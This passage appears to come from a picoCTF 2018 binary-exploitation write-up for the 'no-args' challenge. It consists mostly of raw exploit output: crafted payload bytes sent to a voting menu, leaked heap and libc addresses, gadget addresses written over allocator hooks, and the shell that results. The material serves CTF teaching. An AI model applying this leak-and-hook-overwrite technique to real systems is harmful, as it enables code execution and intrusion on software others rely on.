4  - cake
5  - freecalc
6  - sword
7  - are you root?
8  - gps
9  - circuit123
Which Problem do you want to vote for?
>

Suuuuure, that makes sense. Your favorite problem from picoCTF 2018 was '', but it didn't even get a nomination...
LEAKED HEAP ADDR: 0x00D752B0
HEAP BASE ADDR: 0x00D75000
Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
choose
> You can't choose choose because that was last year's master pwn, NO arguments! Would you like to vote for this year's instead?
b'yes\x00                            \x18 `\x00\x00\x00\x00\x00@'
> Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
choose
> You can't choose choose because that was last year's master pwn, NO arguments! Would you like to vote for this year's instead?
b'yes\x00                            @R\xd7\x00\x00\x00\x00\x00\x81'
> Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
choose
> You can't choose choose because that was last year's master pwn, NO arguments! Would you like to vote for this year's instead?
b'yes\x00                            @R\xd7\x00\x00\x00\x00\x00\xef'
> Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
choose
> You can't choose choose because that was last year's master pwn, NO arguments! Would you like to vote for this year's instead?
b'yes\x00                            AR\xd7\x00\x00\x00\x00\x00\xae'
> Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
choose
> You can't choose choose because that was last year's master pwn, NO arguments! Would you like to vote for this year's instead?
b'yes\x00                            BR\xd7\x00\x00\x00\x00\x00\x81'
> Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
choose
> You can't choose choose because that was last year's master pwn, NO arguments! Would you like to vote for this year's instead?
b'yes\x00                            BR\xd7\x00\x00\x00\x00\x00\xa8'
> Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
choose
> You can't choose choose because that was last year's master pwn, NO arguments! Would you like to vote for this year's instead?
b'yes\x00                            @R\xd7\x00\x00\x00\x00\x00\x10'
> Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
choose
> You can't choose choose because that was last year's master pwn, NO arguments! Would you like to vote for this year's instead?
b'yes\x00                            AR\xd7\x00\x00\x00\x00\x00 '
> Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
choose
> You can't choose choose because that was last year's master pwn, NO arguments! Would you like to vote for this year's instead?
b'yes\x00                            BR\xd7\x00\x00\x00\x00\x00`'
> Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
choose
> You can't choose choose because that was last year's master pwn, NO arguments! Would you like to vote for this year's instead?
b'yes\x00                            \x18 `\x00\x00\x00\x00\x00\xc0'
> Vote for your Favorite Problems from picoCTF 2018!
[*] './libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

y
List Problems? (y/n) Current Choices
0  -  ælÊ\x7f
1  - ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ0 `
2  - no-args
3  - contacts
4  - cake
5  - freecalc
6  - sword
7  - are you root?
8  - gps
9  - circuit123
Which Problem do you want to vote for?
>

Suuuuure, that makes sense. Your favorite problem from picoCTF 2018 was '', but it didn't even get a nomination...
LEAKED LIBC ADDR: 0x7F98CA6CE620
LIBC BASE ADDR: 0x7F98CA309000
GADGET ADDR (req rsp+0x30 == null): 0x7F98CA34E26A
Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
choose
> You can't choose choose because that was last year's master pwn, NO arguments! Would you like to vote for this year's instead?
b'yes\x00                            \x98\xf7l\xca\x98\x7f\x00\x00j'
> Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
choose
> You can't choose choose because that was last year's master pwn, NO arguments! Would you like to vote for this year's instead?
b'yes\x00                            \x99\xf7l\xca\x98\x7f\x00\x00\x7f'
> Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
choose
> You can't choose choose because that was last year's master pwn, NO arguments! Would you like to vote for this year's instead?
b'yes\x00                            \x99\xf7l\xca\x98\x7f\x00\x00c'
> Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
choose
> You can't choose choose because that was last year's master pwn, NO arguments! Would you like to vote for this year's instead?
b'yes\x00                            \x9a\xf7l\xca\x98\x7f\x00\x004'
> Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
choose
> You can't choose choose because that was last year's master pwn, NO arguments! Would you like to vote for this year's instead?
b'yes\x00                            \x9b\xf7l\xca\x98\x7f\x00\x00\x7f'
> Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
choose
> You can't choose choose because that was last year's master pwn, NO arguments! Would you like to vote for this year's instead?
b'yes\x00                            \x9b\xf7l\xca\x98\x7f\x00\x00K'
> Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
choose
> You can't choose choose because that was last year's master pwn, NO arguments! Would you like to vote for this year's instead?
b'yes\x00                            \x9c\xf7l\xca\x98\x7f\x00\x00\x7f'
> Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
choose
> You can't choose choose because that was last year's master pwn, NO arguments! Would you like to vote for this year's instead?
b'yes\x00                            \x9c\xf7l\xca\x98\x7f\x00\x00\x19'
> Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
choose
> You can't choose choose because that was last year's master pwn, NO arguments! Would you like to vote for this year's instead?
b'yes\x00                            \x9d\xf7l\xca\x98\x7f\x00\x00\x7f'
> Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
choose
> You can't choose choose because that was last year's master pwn, NO arguments! Would you like to vote for this year's instead?
b'yes\x00                            \x00\xdbl\xca\x98\x7f\x00\x00Z'
> Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
choose
> You can't choose choose because that was last year's master pwn, NO arguments! Would you like to vote for this year's instead?
b'yes\x00                            \x01\xdbl\xca\x98\x7f\x00\x00\x7f'
> Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
choose
> You can't choose choose because that was last year's master pwn, NO arguments! Would you like to vote for this year's instead?
b'yes\x00                            \x01\xdbl\xca\x98\x7f\x00\x00\x0c'
> Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
choose
> You can't choose choose because that was last year's master pwn, NO arguments! Would you like to vote for this year's instead?
b'yes\x00                            \x02\xdbl\xca\x98\x7f\x00\x002'
> Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
choose
> You can't choose choose because that was last year's master pwn, NO arguments! Would you like to vote for this year's instead?
b'yes\x00                            \x03\xdbl\xca\x98\x7f\x00\x00\x7f'
> Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
choose
> You can't choose choose because that was last year's master pwn, NO arguments! Would you like to vote for this year's instead?
b'yes\x00                            \x03\xdbl\xca\x98\x7f\x00\x00K'
> Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
choose
> You can't choose choose because that was last year's master pwn, NO arguments! Would you like to vote for this year's instead?
b'yes\x00                            \x04\xdbl\xca\x98\x7f\x00\x00\x7f'
> Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
choose
> You can't choose choose because that was last year's master pwn, NO arguments! Would you like to vote for this year's instead?
b'yes\x00                            \x04\xdbl\xca\x98\x7f\x00\x00\x19'
> Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
choose
> You can't choose choose because that was last year's master pwn, NO arguments! Would you like to vote for this year's instead?
b'yes\x00                            \x05\xdbl\xca\x98\x7f\x00\x00\x7f'
> Vote for your Favorite Problems from picoCTF 2018!
WROTE FREE GADGET ADDR: 0x7F98CA34E26A
WROTE MALLOC GADGET ADDR: 0x7F98CA328B5A (calls free)
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
choose
> You can't choose choose because that was last year's master pwn, NO arguments! Would you like to vote for this year's instead?
b'yes\x00                            \x10 `\x00\x00\x00\x00\x00\xff'
> Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
1

Enter the Name of the Problem you want to Vote for
>
pwn

[*] Switching to interactive mode
$ ls
libc.so.6   no-args noargs_pwn.py no-args.c
$ exit

Boom! Good job, you’ve now completed every binary exploit challenge in PicoCTF 2018! Head back to the PicoCTF 2018 BinExp Guide to review any you may have missed along the way.